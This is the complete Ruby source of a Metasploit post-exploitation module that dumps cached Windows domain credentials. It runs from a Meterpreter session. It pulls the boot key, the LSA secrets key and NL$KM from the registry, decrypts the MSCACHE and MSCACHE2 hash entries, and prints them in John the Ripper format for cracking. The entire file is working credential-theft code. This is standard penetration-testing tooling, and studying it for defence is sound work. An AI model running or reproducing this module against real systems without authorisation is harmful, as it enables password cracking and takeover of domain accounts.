##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'English'
class MetasploitModule < Msf::Post
  include Msf::Post::Windows::Priv
  include Msf::Post::Windows::Registry

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Windows Gather Credential Cache Dump',
        'Description' => %q{
          This module uses the registry to extract the stored domain hashes that have been
          cached as a result of a GPO setting. The default setting on Windows is to store
          the last ten successful logins.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Maurizio Agazzini <inode[at]mediaservice.net>',
          'mubix'
        ],
        'Platform' => ['win'],
        'SessionTypes' => ['meterpreter'],
        'References' => [['URL', 'http://lab.mediaservice.net/code/cachedump.rb']],
        'Compat' => {
          'Meterpreter' => {
            'Commands' => %w[
              stdapi_railgun_api
              stdapi_registry_open_key
            ]
          }
        }
      )
    )
  end

  def check_gpo
    gposetting = registry_getvaldata('HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon', 'CachedLogonsCount')
    print_status("Cached Credentials Setting: #{gposetting} - (Max is 50 and 0 disables, and 10 is default)")
  end

  def capture_nlkm(lsakey)
    nlkm = registry_getvaldata('HKLM\\SECURITY\\Policy\\Secrets\\NL$KM\\CurrVal', '')

    vprint_status("Encrypted NL$KM: #{nlkm.unpack('H*')[0]}")

    if lsa_vista_style?
      nlkm_dec = decrypt_lsa_data(nlkm, lsakey)
    elsif sysinfo['Architecture'] == ARCH_X64
      nlkm_dec = decrypt_secret_data(nlkm[0x10..], lsakey)
    else # 32 bits
      nlkm_dec = decrypt_secret_data(nlkm[0xC..], lsakey)
    end

    return nlkm_dec
  end

  def parse_decrypted_cache(dec_data, s)
    i = 0
    hash = dec_data[i, 0x10]
    i += 72

    username = dec_data[i, s.userNameLength].split("\x00\x00").first.gsub("\x00", '')
    i += s.userNameLength
    i += 2 * ((s.userNameLength / 2) % 2)

    vprint_good "Username\t\t: #{username}"
    vprint_good "Hash\t\t: #{hash.unpack('H*')[0]}"

    if lsa_vista_style?
      if (s.iterationCount > 10240)
        iterationCount = s.iterationCount & 0xfffffc00
      else
        iterationCount = s.iterationCount * 1024
      end
      vprint_good "Iteration count\t: #{s.iterationCount} -> real #{iterationCount}"
    end

    last = Time.at(s.lastAccess)
    vprint_good "Last login\t\t: #{last.strftime('%F %T')} "

    domain = dec_data[i, s.domainNameLength + 1]
    i += s.domainNameLength

    if (s.dnsDomainNameLength != 0)
      dnsDomainName = dec_data[i, s.dnsDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.dnsDomainNameLength
      i += 2 * ((s.dnsDomainNameLength / 2) % 2)
      vprint_good "DNS Domain Name\t: #{dnsDomainName}"
    end

    if (s.upnLength != 0)
      upn = dec_data[i, s.upnLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.upnLength
      i += 2 * ((s.upnLength / 2) % 2)
      vprint_good "UPN\t\t\t: #{upn}"
    end

    if (s.effectiveNameLength != 0)
      effectiveName = dec_data[i, s.effectiveNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.effectiveNameLength
      i += 2 * ((s.effectiveNameLength / 2) % 2)
      vprint_good "Effective Name\t: #{effectiveName}"
    end

    if (s.fullNameLength != 0)
      fullName = dec_data[i, s.fullNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.fullNameLength
      i += 2 * ((s.fullNameLength / 2) % 2)
      vprint_good "Full Name\t\t: #{fullName}"
    end

    if (s.logonScriptLength != 0)
      logonScript = dec_data[i, s.logonScriptLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.logonScriptLength
      i += 2 * ((s.logonScriptLength / 2) % 2)
      vprint_good "Logon Script\t\t: #{logonScript}"
    end

    if (s.profilePathLength != 0)
      profilePath = dec_data[i, s.profilePathLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.profilePathLength
      i += 2 * ((s.profilePathLength / 2) % 2)
      vprint_good "Profile Path\t\t: #{profilePath}"
    end

    if (s.homeDirectoryLength != 0)
      homeDirectory = dec_data[i, s.homeDirectoryLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.homeDirectoryLength
      i += 2 * ((s.homeDirectoryLength / 2) % 2)
      vprint_good "Home Directory\t\t: #{homeDirectory}"
    end

    if (s.homeDirectoryDriveLength != 0)
      homeDirectoryDrive = dec_data[i, s.homeDirectoryDriveLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.homeDirectoryDriveLength
      i += 2 * ((s.homeDirectoryDriveLength / 2) % 2)
      vprint_good "Home Directory Drive\t: #{homeDirectoryDrive}"
    end

    vprint_good "User ID\t\t: #{s.userId}"
    vprint_good "Primary Group ID\t: #{s.primaryGroupId}"

    relativeId = []
    while (s.groupCount > 0)
      # TODO: parse attributes
      relativeId << dec_data[i, 4].unpack('V')[0]
      i += 4
      attributes = dec_data[i, 4].unpack('V')[0]
      i += 4
      s.groupCount -= 1
    end

    vprint_good "Additional groups\t: #{relativeId.join ' '}"

    if (s.logonDomainNameLength != 0)
      logonDomainName = dec_data[i, s.logonDomainNameLength + 1].split("\x00\x00").first.gsub("\x00", '')
      i += s.logonDomainNameLength
      i += 2 * ((s.logonDomainNameLength / 2) % 2)
      vprint_good "Logon domain name\t: #{logonDomainName}"
    end

    @credentials <<
      [
        username,
        hash.unpack('H*')[0],
        iterationCount,
        logonDomainName,
        dnsDomainName,
        last.strftime('%F %T'),
        upn,
        effectiveName,
        fullName,
        logonScript,
        profilePath,
        homeDirectory,
        homeDirectoryDrive,
        s.primaryGroupId,
        relativeId.join(' '),
      ]

    vprint_good '----------------------------------------------------------------------'
    if lsa_vista_style?
      return "#{username.downcase}:$DCC2$#{iterationCount}##{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
    else
      return "#{username.downcase}:M$#{username.downcase}##{hash.unpack('H*')[0]}:#{dnsDomainName}:#{logonDomainName}\n"
    end
  end

  def parse_cache_entry(cache_data)
    j = Struct.new(
      :userNameLength,
      :domainNameLength,
      :effectiveNameLength,
      :fullNameLength,
      :logonScriptLength,
      :profilePathLength,
      :homeDirectoryLength,
      :homeDirectoryDriveLength,
      :userId,
      :primaryGroupId,
      :groupCount,
      :logonDomainNameLength,
      :logonDomainIdLength,
      :lastAccess,
      :last_access_time,
      :revision,
      :sidCount,
      :valid,
      :iterationCount,
      :sifLength,
      :logonPackage,
      :dnsDomainNameLength,
      :upnLength,
      :ch,
      :enc_data
    )

    s = j.new

    s.userNameLength = cache_data[0, 2].unpack('v')[0]
    s.domainNameLength = cache_data[2, 2].unpack('v')[0]
    s.effectiveNameLength = cache_data[4, 2].unpack('v')[0]
    s.fullNameLength = cache_data[6, 2].unpack('v')[0]
    s.logonScriptLength = cache_data[8, 2].unpack('v')[0]
    s.profilePathLength = cache_data[10, 2].unpack('v')[0]
    s.homeDirectoryLength = cache_data[12, 2].unpack('v')[0]
    s.homeDirectoryDriveLength = cache_data[14, 2].unpack('v')[0]

    s.userId = cache_data[16, 4].unpack('V')[0]
    s.primaryGroupId = cache_data[20, 4].unpack('V')[0]
    s.groupCount = cache_data[24, 4].unpack('V')[0]
    s.logonDomainNameLength = cache_data[28, 2].unpack('v')[0]
    s.logonDomainIdLength = cache_data[30, 2].unpack('v')[0]

    # Removed ("Q") unpack and replaced as such
    thi = cache_data[32, 4].unpack('V')[0]
    tlo = cache_data[36, 4].unpack('V')[0]
    q = (tlo.to_s(16) + thi.to_s(16)).to_i(16)
    s.lastAccess = ((q / 10000000) - 11644473600)

    s.revision = cache_data[40, 4].unpack('V')[0]
    s.sidCount = cache_data[44, 4].unpack('V')[0]
    s.valid = cache_data[48, 2].unpack('v')[0]
    s.iterationCount = cache_data[50, 2].unpack('v')[0]
    s.sifLength = cache_data[52, 4].unpack('V')[0]

    s.logonPackage = cache_data[56, 4].unpack('V')[0]
    s.dnsDomainNameLength = cache_data[60, 2].unpack('v')[0]
    s.upnLength = cache_data[62, 2].unpack('v')[0]

    s.ch = cache_data[64, 16]
    s.enc_data = cache_data[96..]

    return s
  end

  def decrypt_hash(edata, nlkm, ch)
    rc4key = OpenSSL::HMAC.digest(OpenSSL::Digest.new('md5'), nlkm, ch)
    rc4 = OpenSSL::Cipher.new('rc4')
    rc4.key = rc4key
    decrypted = rc4.update(edata)
    decrypted << rc4.final

    return decrypted
  end

  def decrypt_hash_vista(edata, nlkm, ch)
    aes = OpenSSL::Cipher.new('aes-128-cbc')
    aes.decrypt
    aes.key = nlkm[16...32]
    aes.padding = 0
    aes.iv = ch

    decrypted = ''
    (0...edata.length).step(16) do |i|
      decrypted << aes.update(edata[i, 16])
    end

    return decrypted
  end

  def run
    @credentials = Rex::Text::Table.new(
      'Header' => 'MSCACHE Credentials',
      'Indent' => 1,
      'Columns' =>
      [
        'Username',
        'Hash',
        'Hash iteration count',
        'Logon Domain Name',
        'DNS Domain Name',
        'Last Login',
        'UPN',
        'Effective Name',
        'Full Name',
        'Logon Script',
        'Profile Path',
        'Home Directory',
        'HomeDir Drive',
        'Primary Group',
        'Additional Groups'
      ]
    )

    begin
      print_status("Executing module against #{sysinfo['Computer']}")
      client.railgun.netapi32
      join_status = client.railgun.netapi32.NetGetJoinInformation(nil, 4, 4)['BufferType']

      if sysinfo['Architecture'] == ARCH_X64
        join_status &= 0x00000000ffffffff
      end

      if join_status != 3
        print_error('System is not joined to a domain, exiting..')
        return
      end

      # Check policy setting for cached creds
      check_gpo

      print_status('Obtaining boot key...')
      bootkey = capture_boot_key
      vprint_status("Boot key: #{bootkey.unpack('H*')[0]}")

      print_status('Obtaining Lsa key...')
      lsakey = capture_lsa_key(bootkey)
      if lsakey.nil?
        print_error('Could not retrieve LSA key. Are you SYSTEM?')
        return
      end

      vprint_status("Lsa Key: #{lsakey.unpack('H*')[0]}")

      print_status('Obtaining NL$KM...')
      nlkm = capture_nlkm(lsakey)
      vprint_status("NL$KM: #{nlkm.unpack('H*')[0]}")

      print_status('Dumping cached credentials...')
      ok = session.sys.registry.open_key(HKEY_LOCAL_MACHINE, 'SECURITY\\Cache', KEY_READ)

      john = ''

      ok.enum_value.each do |usr|
        if !usr.name.match(/^NL\$\d+$/)
          next
        end

        begin
          nl = ok.query_value(usr.name.to_s).data
        rescue StandardError
          next
        end

        cache = parse_cache_entry(nl)

        next unless (cache.userNameLength > 0)

        vprint_status("Reg entry: #{nl.unpack('H*')[0]}")
        vprint_status("Encrypted data: #{cache.enc_data.unpack('H*')[0]}")
        vprint_status("Ch:  #{cache.ch.unpack('H*')[0]}")

        if lsa_vista_style?
          dec_data = decrypt_hash_vista(cache.enc_data, nlkm, cache.ch)
        else
          dec_data = decrypt_hash(cache.enc_data, nlkm, cache.ch)
        end

        vprint_status("Decrypted data: #{dec_data.unpack('H*')[0]}")

        john << parse_decrypted_cache(dec_data, cache)
      end

      if lsa_vista_style?
        print_status('Hash are in MSCACHE_VISTA format. (mscash2)')
        p = store_loot('mscache2.creds', 'text/csv', session, @credentials.to_csv, 'mscache2_credentials.txt', 'MSCACHE v2 Credentials')
        print_good("MSCACHE v2 saved in: #{p}")

        john = "# mscash2\n" + john
      else
        print_status('Hash are in MSCACHE format. (mscash)')
        p = store_loot('mscache.creds', 'text/csv', session, @credentials.to_csv, 'mscache_credentials.txt', 'MSCACHE v1 Credentials')
        print_good("MSCACHE v1 saved in: #{p}")
        john = "# mscash\n" + john
      end

      print_status('John the Ripper format:')
      print_line john
    rescue ::Interrupt
      raise $ERROR_INFO
    rescue ::Rex::Post::Meterpreter::RequestError => e
      print_error("Meterpreter Exception: #{e.class} #{e}")
      print_error('This script requires the use of a SYSTEM user context (hint: migrate into service process)')
    end
  end
end
